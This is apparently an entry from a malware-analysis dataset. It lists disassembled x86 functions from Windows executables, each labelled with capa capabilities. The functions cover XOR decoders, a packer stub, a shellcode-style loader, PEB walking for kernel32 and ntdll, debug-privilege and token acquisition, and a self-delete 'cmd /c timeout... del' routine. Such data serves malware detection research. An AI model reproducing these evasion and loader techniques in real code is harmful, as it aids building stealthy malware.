joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
sub byte [esi + edi], 0x7a
call ebx
add byte [esi + edi], 0x1b
call ebx
xor byte [esi + edi], 0x44
call ebx
add byte [esi + edi], 0x50
call ebx
add byte [esi + edi], 0x4e
call ebx
add byte [esi + edi], 0xba
call ebx
add byte [esi + edi], 0xb4
call ebx
xor byte [esi + edi], 0x7b
call ebx
add byte [esi + edi], 0xbb
call ebx
add byte [esi + edi], 0xaf
call ebx
xor byte [esi + edi], 0xdf
call ebx
add byte [esi + edi], 0x11
call ebx
add byte [esi + edi], 0x1b
call ebx
add byte [esi + edi], 0x53
call ebx
add byte [esi + edi], 0xd2
call ebx
add byte [esi + edi], 0x1b
call ebx
xor byte [esi + edi], 0xcf
call ebx
add byte [esi + edi], 0x86
call ebx
add byte [esi + edi], 0xfa
call ebx
add byte [esi + edi], 0x97
call ebx
add byte [esi + edi], 0xec
call ebx
add byte [esi + edi], 0xc8
call ebx
add byte [esi + edi], 0x30
call ebx
add byte [esi + edi], 0xc8
call ebx
add byte [esi + edi], 0xdc
call ebx
xor byte [esi + edi], 0xc2
call ebx
add byte [esi + edi], 0x49
call ebx
add byte [esi + edi], 0x4e
call ebx
add byte [esi + edi], 0xaa
call ebx
add byte [esi + edi], 0x4f
call ebx
add byte [esi + edi], 0xda
call ebx
xor byte [esi + edi], 0x95
call ebx
xor byte [esi + edi], 0x11
call ebx
xor byte [esi + edi], 0xbb
call ebx
add byte [esi + edi], 0x37
call ebx
add byte [esi + edi], 0x5f
call ebx
xor byte [esi + edi], 0xfb
call ebx
add byte [esi + edi], 0xf9
call ebx
add byte [esi + edi], 0xfa
call ebx
xor byte [esi + edi], 0xf2
call ebx
add byte [esi + edi], 0x34
call ebx
xor byte [esi + edi], 0x92
call ebx
add byte [esi + edi], 0x13
call ebx
xor byte [esi + edi], 0x2c
call ebx
add byte [esi + edi], 0x91
call ebx
xor byte [esi + edi], 0xf1
call ebx
add byte [esi + edi], 4
call ebx
add byte [esi + edi], 0x5b
call ebx
add byte [esi + edi], 0x6c
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x4040e6
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, dword [esp + 0x1c]
cmp dword [esi + 0x14], 0x10
mov dword [esp + 0x10], ebp
jb 0x40410b
mov esi, dword [esi]
mov dword [esp + 0x18], esi
push esi
shr edi, 2
push edi
push str._x_and__p
call fcn.004043ba
add esp, 0xc
test edi, edi
je 0x404166
mov ebp, esi
mov esi, edi
push 4
lea eax, [esp + 0x20]
push ebp
push eax
call fcn.00406ab0
imul ecx, dword [esp + 0x28], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x1c], eax
sub esi, 1
jne 0x404125
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x10]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40418f
sub eax, 1
je 0x404185
sub eax, 1
jne 0x40419d
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop ecx
ret

Function at 0x4041c3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
push 1
call dword [sym.imp.USER32.dll_GetClipCursor]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x45bea0], eax
pop edi
pop esi
ret

Function at 0x4066de
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40671d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40671d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40671d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40671d
cmp dword [ecx + 0x74], 0xe
jbe 0x40671d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d09a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd28
push 0x41bd20
push str.FlsAlloc
push 0x1e
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d0ce
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
jmp 0x40d0d4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d118
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41bd38
push 0x41bd30
push str.FlsGetValue
push 0x20
call fcn.0040cf5b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d14f
push dword [ebp + 8]
mov ecx, esi
call dword [0x419184]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x417bd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417bfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417bfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x71bb5359
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xb2f3ae3
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401bd7
pop dword [ebp - 0x28]
mov eax, 0x6c4a9134
add eax, 0x93f58aa3
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xf5a70d7b
sub dword [ebp - 0x38], 0xa754c830
mov dword [ebp - 0x34], 0x77c1bf2d
sub dword [ebp - 0x34], 0x458e72e8
mov dword [ebp - 0x30], 0xd6a1ae42
sub dword [ebp - 0x30], 0x8a556a14
mov dword [ebp - 0x2c], 0x8da03a22
sub dword [ebp - 0x2c], 0x8da03a22
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xfb61d932
add dword [ebp - 0x38], 0x79109024
mov dword [ebp - 0x34], 0xa83ca2a5
add dword [ebp - 0x34], 0x992fbed0
mov dword [ebp - 0x30], 0xfaea9215
sub dword [ebp - 0x30], 0x977b25a9
mov dword [ebp - 0x2c], 0x592e74e5
add dword [ebp - 0x2c], 0xa6d18b1b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x39237
push 0
call eax
mov ecx, 0x5241
xor edi, edi
add edi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x28]
mov esi, 0xa06bf193
sub esi, 0x479fab72
xor dword [ebp - 0x24], 0xe76c29e9
mov ebx, dword [edx]
add dword [ebp - 0x1c], ecx
xor ebx, esi
add dword [ebp - 8], 0x5f8e62fc
mov dword [edi], ebx
sub dword [ebp - 0x24], 0xd55aa8b6
add edi, 4
add edx, 0xf1dcf116
sub edx, 0xf1dcf112
loop 0x401ce5
add eax, 0xe1c856e4
sub eax, 0xe1c71b0d
mov ebx, eax
add eax, 0x3e6d02e
sub eax, 0x3e6d029
mov ecx, 0x63939ffd
add ecx, 0x9cac6003
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401020
Capabilities:
Check mutex on windows

Disassembly:
push 0xffffffffffffffff
push 0x4299b0
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
xor esi, esi
call edx
add eax, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push edx
push str.c__s__s__s
lea edi, [esp + 0x1c]
mov dword [esp + 0x2c], esi
call fcn.004016c0
mov edx, dword [esp + 0x1c]
push esi
lea ecx, [esp + 0x24]
call fcn.00416a30
add esp, 0x14
mov byte [esp + 0x1c], 1
call fcn.00401360
mov byte [esp + 0x1c], 0
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4010be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0xc]
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x441f4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4010e8
cmp dword [0x441f4c], 0
jne 0x4010ed
mov esi, 1
lea eax, [edi - 0x10]
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401111
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x14
ret
Function at 0x401130
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x429980
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
xor ebx, ebx
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x34]
push eax
push ecx
push edx
push 0x42ce30
lea edi, [esp + 0x24]
mov dword [esp + 0x34], ebx
call fcn.004016c0
mov edx, dword [esp + 0x24]
push ebx
lea ecx, [esp + 0x2c]
call fcn.00416a30
add esp, 0x14
mov byte [esp + 0x24], 1
call fcn.00401360
mov byte [esp + 0x24], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4011ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x18]
push 0x42ce44
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401270
mov eax, dword [eax]
add esp, 8
push eax
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov esi, eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401215
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp esi, ebx
je 0x401225
push esi
mov ebx, 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40124d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x18
ret

Function at 0x401780
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x24
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4017bc
lea ecx, [esp + 8]
push ecx
push 0x42ce54
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x4017c2
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x24
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push 0
push 0
push 0x10
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x14]
push 0
push eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x40180f
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x24
ret
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add esp, 0x24
ret
Function at 0x401960
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x429488
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebp
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x3c]
xor edi, edi
push edi
push edi
push 4
push edi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401a89
cmp esi, edi
je 0x401a89
push 2
lea edx, [esp + 0x20]
push edx
xor ecx, ecx
push ecx
xor eax, eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
mov dword [esp + 0x18], edi
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
mov dword [esp + 0x34], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str._d_t__d_
lea edi, [esp + 0x20]
call fcn.004044d0
mov edi, dword [esp + 0x20]
mov ebp, dword [edi - 0xc]
add esp, 0xc
cmp dword [edi - 4], 1
jle 0x401a21
mov eax, ebp
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00403760
mov edi, dword [esp + 0x14]
push 0
lea edx, [esp + 0x1c]
push edx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
push esi
call ebp
mov eax, ebx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401a38
push 0
sub eax, ecx
lea ecx, [esp + 0x1c]
push ecx
push eax
push ebx
push esi
call ebp
push 0
lea edx, [esp + 0x1c]
push edx
push 2
push 0x42cec8
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [edi - 0x10]
mov dword [esp + 0x34], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401a89
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x28
ret
Function at 0x402c70
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4299b0
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
lea esi, [eax + 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x1c], 0
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
add eax, 0x10
mov dword [esp + 0x10], eax
push 0x100
mov byte [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [esi - 8]
mov eax, 1
sub eax, dword [esi - 4]
sub ecx, 0x104
or eax, ecx
jge 0x402d16
mov ecx, 0x104
lea eax, [esp + 0xc]
call fcn.004015c0
mov esi, dword [esp + 0xc]
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.00419ba5
add esp, 8
test eax, eax
jl 0x402d78
cmp eax, dword [esi - 8]
jg 0x402d78
xor edx, edx
push esi
mov dword [esi - 0xc], eax
push str._c_timeout__t_1__del__Q__F___s_
lea edi, [esp + 0x18]
mov word [esi + eax*2], dx
call fcn.004016c0
mov eax, dword [esp + 0x18]
add esp, 8
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x80070057
call fcn.00401760
int3

Function at 0x402ff0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x402f80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
push eax
call fcn.00402030
add esp, 4
call fcn.00402c70
int3

Function at 0x404d70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push edi
push ebx
push ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x404d87
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x404db8
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x404db4
cmp esi, eax
jae 0x404db8
sub edi, 1
movzx ecx, word [esi]
lea esi, [esi + ecx*2 + 2]
jne 0x404da4
cmp esi, eax
jb 0x404dbe
pop esi
pop edi
xor eax, eax
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x4053b0
Capabilities:
Reference 114dns dns server
Reference alidns dns server

Disassembly:
push 0xffffffffffffffff
push 0x429689
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x20], ebx
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
mov ecx, dword [esp + 0x68]
add eax, 0x10
mov dword [ecx], eax
mov ecx, dword [esp + 0x6c]
lea edx, [esp + 0x24]
mov dword [esp + 0x60], ebx
mov esi, 1
push edx
mov dword [esp + 0x24], esi
call fcn.00405560
mov dword [esp + 0x60], esi
mov dword [esp + 0x28], str.114.114.114.114
mov dword [esp + 0x2c], str.223.5.5.5
xor ebp, ebp
mov eax, dword [0x44130c]
mov edx, dword [eax + 0xc]
mov ecx, 0x44130c
call edx
add eax, 0x10
mov dword [esp + 0x18], eax
mov byte [esp + 0x60], 2
mov ecx, dword [esp + ebp*4 + 0x28]
cmp ecx, ebx
jne 0x405451
xor eax, eax
jmp 0x40545f
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x405456
sub eax, esi
mov edi, eax
push ecx
lea eax, [esp + 0x1c]
call fcn.00403930
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x6c]
lea eax, [esp + 0x30]
push eax
push esi
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], ebx
call fcn.00405070
mov ecx, dword [esp + 0x24]
add esp, 8
shr ecx, 2
cmp eax, ebx
je 0x405498
cmp ecx, ebx
jg 0x4054c9
lea eax, [esi - 0x10]
mov byte [esp + 0x60], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4054b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
inc ebp
cmp ebp, 2
jb 0x40542a
mov ebp, dword [esp + 0x68]
jmp 0x405519
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
cmp eax, ebx
jne 0x4054dc
xor ecx, ecx
jmp 0x4054ea
mov ecx, eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4054e1
sub ecx, edi
mov ebp, dword [esp + 0x68]
push eax
mov edi, ecx
mov eax, ebp
call fcn.00403930
lea eax, [esi - 0x10]
mov byte [esp + 0x60], 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x405519
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x60], bl
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40553d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebp
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret
Function at 0x405e20
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x429c78
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x43b14c]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
lea eax, [esi + 4]
push eax
call fcn.00406db0
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esi + 0x34], 0xf
mov dword [esi + 0x30], eax
mov byte [esi + 0x20], al
lea eax, [esi + 0x40]
push eax
mov byte [esp + 0x18], 1
call fcn.00406db0
fldz
fstp qword [esi + 0x38]
mov dword [esi], 5
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4
Function at 0x408ef0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [0x43b14c]
xor eax, esp
mov dword [esp + 0x22c], eax
push esi
push edi
push 0x228
lea eax, [esp + 0x10]
push 0
push eax
mov edi, ecx
mov dword [esp + 0x14], 0
call fcn.0041a630
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x40900b
cmp esi, 0xffffffff
je 0x40900b
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x408fe9
jmp 0x408f60
lea edx, [esp + 0x2c]
push str.EXPLORER.EXE
push edx
call fcn.004198f9
add esp, 8
test eax, eax
je 0x408fa8
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x408f60
push esi
lea edi, [eax + 1]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.00418df4
add esp, 0x230
ret
mov ecx, dword [esp + 0x10]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push edi
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.00418df4
add esp, 0x230
ret
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.00418df4
add esp, 0x230
ret
mov ecx, dword [esp + 0x234]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00418df4
add esp, 0x230
ret